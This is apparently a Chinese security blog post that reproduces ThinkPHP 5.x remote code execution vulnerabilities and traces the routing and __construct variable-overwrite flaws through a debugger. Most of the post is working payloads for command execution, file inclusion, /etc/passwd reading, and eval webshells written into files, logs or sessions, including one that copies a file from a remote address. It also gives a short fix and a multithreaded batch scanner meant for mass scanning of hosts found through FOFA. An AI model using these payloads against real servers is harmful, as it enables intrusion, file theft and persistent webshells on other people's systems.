之前只是学会如何去利用,但是没有掌握这个漏洞的原理,因此这里复现一下这个漏洞,并且总结出一些利用方法
 
Thinkphp有两大版本的区别
 

ThinkPHP 5.0-5.0.24
ThinkPHP 5.1.0-5.1.30

 
5.0.x
 

?s=index/think\config/get&name=database.username // 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg    // 包含任意文件
?s=index/\think\Config/load&file=../../t.php     // 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami

 
5.1.x
 

?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

 
这些都是因为PHP未开启强制路由造成的,还有一种是利用变量覆盖达到命令执行的目的
 

http://php.local/thinkphp5.0.5/public/index.php?s=index
post
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&filter[]=system&method=GET&get[]=whoami

# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system

# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

# ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

 
下面会分逐一析一下
 

未开启强制路由命令执行

 
常见Paylaod如
 

?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

 
首先 ThinkPhp默认开启了路由的兼容模式
 
ThinkPhp之Rce分析

 
那么在路由未过滤的情况下,我们就可以调用任意函数,因此就造成我们前面的命令执行
 
例如 think\view\driver\Php 中的 display 方法
 
ThinkPhp之Rce分析

 
我们传入一个 content就可以代码执行了
 
ThinkPhp之Rce分析

 
我们在 App.php 的解析路由中下个断点
 
ThinkPhp之Rce分析

 
这里面在前面实例化了 request 然后调用 routeCheck
 
跟进一下
 
ThinkPhp之Rce分析

 
首先通过 path() 方法获取我们传入的路径()
 
ThinkPhp之Rce分析

 
没有过滤
 
ThinkPhp之Rce分析

 
接着在进入路由检测
 
ThinkPhp之Rce分析

 
其实就是把 / 变为 |
 
ThinkPhp之Rce分析

 
之后再进入 parseUrl

 

ThinkPhp之Rce分析
 
ThinkPhp之Rce分析
 
/ 换为 |
 
在进入 parseUrlPath
 
ThinkPhp之Rce分析

 
根据 | 取出,模块 控制器 操作 以及参数
 
ThinkPhp之Rce分析

 
最后可以看见调用了我们想利用的控制器
 
使用 \think\view\driver\Think
 
后面测试这个也可以
 

?s=index/\think\view\driver\Think/display&template=<?php%20phpinfo();?>

 
ThinkPhp之Rce分析

 

利用扩展

 

命令执行

 
既然我们可以控制了调用这些控制器,那么我们才总结一下有哪些可用的GetShell的方法吧
 
使用 \think\view\driver\Php

 
ThinkPhp之Rce分析

 
直接执行Php代码
 

?s=index/\think\view\driver\Php/display&content=<?php%20phpinfo();?>

 
ThinkPhp之Rce分析

 
使用 \think\App
 
ThinkPhp之Rce分析

 
这个类中的 invokeFunction 方法可以任意函数执行
 

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l

 
ThinkPhp之Rce分析

 
使用 \think\Request
 
看师傅们的文章这个类中的 input 函数可以执行任意函数
 
我看了下我的环境,发现不可以(应该是环境问题)
 
ThinkPhp之Rce分析

 

?s=index/\think\Request/input&filter[]=system&data=pwd

 
使用 \think\Container
 
我这边环境没这个类
 

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

写Webshell

 
使用 \think\app 写Shell
 
可以命令执行就可以写了~
 

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy(%27远程地址%27,%27333.php%27)

 
使用 \think\template\driver\file
 
ThinkPhp之Rce分析

 
直接写Shell
 

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>

 
使用 \think\view\driver\Think
 
利用模板生成Shell
 
ThinkPhp之Rce分析

 

?s=index/\think\view\driver\Think/display&template=<?php phpinfo();?>  

shell位于runtime/temp/md5(template的值).php

 
ThinkPhp之Rce分析

 
并且这个也可以执行命令
 
ThinkPhp之Rce分析

 

其他利用

 

5.0.x
?s=index/\think\config/get&name=database.username // 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg    // 包含任意文件
?s=index/\think\Config/load&file=../../t.php     // 包含任意.php文件

 
第一个使用 \think\config 获取配置信息
 
ThinkPhp之Rce分析

 
ThinkPhp之Rce分析

 
ThinkPhp之Rce分析

 
ThinkPhp之Rce分析

 
第二个任意文件包含利用的是 \think\Lang
 
ThinkPhp之Rce分析

 

?s=index/\think\Lang/load&file=./shell.php

 
ThinkPhp之Rce分析

 
此函数有多种利用方式,不限于代码执行、反序列化
 
任意文件读取
 

http://host-5/index.php?s=index/\think\Lang/load&file=file:///etc/passwd

 
若是不包含php的话直接利用此方法读取文件
 
ThinkPhp之Rce分析

 
暂时就测试了只有File协议可用,其他的应该会被过滤
 

 
第三个包含任意Php文件利用 \think\Config
 
ThinkPhp之Rce分析

 
验证了后缀名
 
 

?s=index/\think\Config/load&file=./shell.php

 
ThinkPhp之Rce分析

 

修复方式

 

// 获取控制器名
$controller = strip_tags($result[1] ?: $config['default_controller']);

if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
    throw new HttpException(404, 'controller not exists:' . $controller);
}

 
使用正则获取控制器
 
ThinkPhp之Rce分析

 

小小总结

 
关于Thinkphp路由的利用就到这里面了,其实分析的并不是很好,因为这个框架我没有多去了解他,甚至有一些地方是断章取义的,但是这些只是作为本人学习和记录,望大家谅解.

还有就是利用方法的改变,对于现在直接RCE的机会不大,一般都是去文件包含等日志,反序列化等,文末后面会记录一下
 

method __contruct导致的RCE

 
简单的测试一下
 
ThinkPhp之Rce分析

 
首先现在 \think\Request.php 中下断点
 
ThinkPhp之Rce分析

 
这里面存在变量覆盖,就是将 $this->method 的值覆盖为我们传入的值
 
ThinkPhp之Rce分析

 
我们看一下 var_method 的值
 
ThinkPhp之Rce分析

 
并且后面我还可以用这个调用此类的任意函数
 
ThinkPhp之Rce分析

 
Payload里面选择的函数是此类的构造函数
 
ThinkPhp之Rce分析

 
这里面存在覆盖,我们可以将此类中的任意属性替换掉
 
ThinkPhp之Rce分析

 
这个是 Payload 构造的
 
但是这个会在什么时候被调用呢?
 
App.php 中,若开启了Debug,会调用 param() 方法
 
ThinkPhp之Rce分析

 
ThinkPhp之Rce分析

调用 Method() 方法
 
Method就是我们可以覆盖变量的方法
 
跟进 Server()
 
ThinkPhp之Rce分析

 
调用 input ,这里面有两个参数可控
 
跟进
 
ThinkPhp之Rce分析

 
调用 filterValue ,且1 3参数可控
 
ThinkPhp之Rce分析

 
最后达到命令执行
 
ThinkPhp之Rce分析

 

?s=captcha

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

 
有很多不懂的地方,我这里面只是断章取义的理解,勿喷
 
ThinkPhp之Rce分析

 
每个版本的利用方法可以参考
 
https://y4er.com/post/thinkphp5-rce/
 

ThinkPhp的多种利用方式

 

写Shell进日志

 

_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>

写入的日志位于 runtime/log/202011/07.log  //根据日期决定

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../runtime/log/202011/07.log&x=phpinfo();

 
ThinkPhp之Rce分析

 

包含Session

 

写入Session
_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1

包含
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_kking&x=phpinfo();


//kking改为你的session的ID

 
ThinkPhp之Rce分析

 
参考这个大佬的
 
https://xz.aliyun.com/t/6106

批量检测脚本

 
既然分析完了,就来写个批量的分析脚本试试看吧
 
分析通用型
 
因为是扫描器所以我们需要选择一个稳定的 Payload(最好很多版本都可用的),这里面我选择的是 \think\app 里面的 invokefunction 函数
 
分析实战性
 
实战中一般有很大的可能会遇到 宝塔 或者其他waf设备,因此不适用于命令执行、代码执行直接验证
 
我这里面使用Var_dump验证
 
ThinkPhp之Rce分析

 

?s=index/\think\app/invokefunction&function=var_dump&vars[0]=this%20a%20test

 
这个是针对于未开启强制路由的,接下来我们换成变量覆盖的试试
 
ThinkPhp之Rce分析
 

?s=captcha

_method=__construct&filter[]=var_dump&method=get&server[REQUEST_METHOD]=aa623a8a2a34729b095ffaf5b48d48b0

 
接下来就来写脚本了,下面是写的测试脚本,支持url以及文件
 

Argument is lose
Example: xx.py -u url
Example: xx.py -f 1.txt

 

#coding=utf-8

from argparse import ArgumentParser,FileType
import sys
import requests
from queue import  Queue
from threading import  Thread
import warnings
warnings.filterwarnings("ignore")
proxies={
    'http':"http://127.0.0.1:8088",
}
pocurl="/index.php?s=index/\\think\\app/invokefunction&function=var_dump&vars[0]=aa623a8a2a34729b095ffaf5b48d48b0"
postdata={
    "_method":"__construct",
    "filter[]":"var_dump",
    "method":"get",
    "server[REQUEST_METHOD]":"aa623a8a2a34729b095ffaf5b48d48b0"
}

def worker(q):
    while True:
        try:
            data=q.get()
            workerone(data)
        except Exception as e:
            pass
        finally:
            q.task_done()
    pass

def workerone(url):
    if "http" not in url:
        url="http://"+url
    url2=str(url).replace("index.php","")+pocurl
    url1=str(url).replace("index.php","")+"/index.php?s=captcha"
    verity1=requests.get(url2,timeout=15, verify=False)
    if "aa623a8a2a34729b095ffaf5b48d48b0" in verity1.text:
        print(url+"Exist vuln,\npayload:"+url)
    verity2=requests.post(url1,data=postdata,timeout=15, verify=False)
    if "aa623a8a2a34729b095ffaf5b48d48b0" in verity2.text:
        print(url+" Exist vuln\npayload:?s=captcha\n_method=__construct&filter[]=var_dump&method=get&server[REQUEST_METHOD]=aa623a8a2a34729b095ffaf5b48d48b0")
def main():
    if len(sys.argv) < 3:
        print("Argument is lose")
        print("Example: xx.py -u url\nExample: xx.py -f 1.txt")
        exit(0)
    if sys.argv[1] == "-u":
        workerone(sys.argv[2])
    if sys.argv[1]=="-f":
        file=open(str(sys.argv[2]))
        q=Queue(20)
        for _ in range(20):
            t=Thread(target=worker,args=(q,))
            t.start()
        for line in file.readlines():
            line=line.strip()
            q.put(line)
        q.join()

if __name__=='__main__':
    main()

 
再配合fofa批量查询
 
ThinkPhp之Rce分析

 
不过因为这个漏洞很久了,因此效果不是很理想
 

参考

 
https://y4er.com/post/thinkphp5-rce/
https://github.com/Mochazz/ThinkPHP-Vuln
https://xz.aliyun.com/t/6106
 

相关文章:

  • 2022-12-23
  • 2021-10-22
  • 2022-12-23
  • 2021-08-23
  • 2021-02-03
  • 2019-10-26
  • 2022-12-23
  • 2022-12-23
猜你喜欢
  • 2021-04-03
  • 2021-10-07
  • 2022-12-23
  • 2022-12-23
  • 2021-08-18
  • 2022-12-23
  • 2021-12-26
相关资源
相似解决方案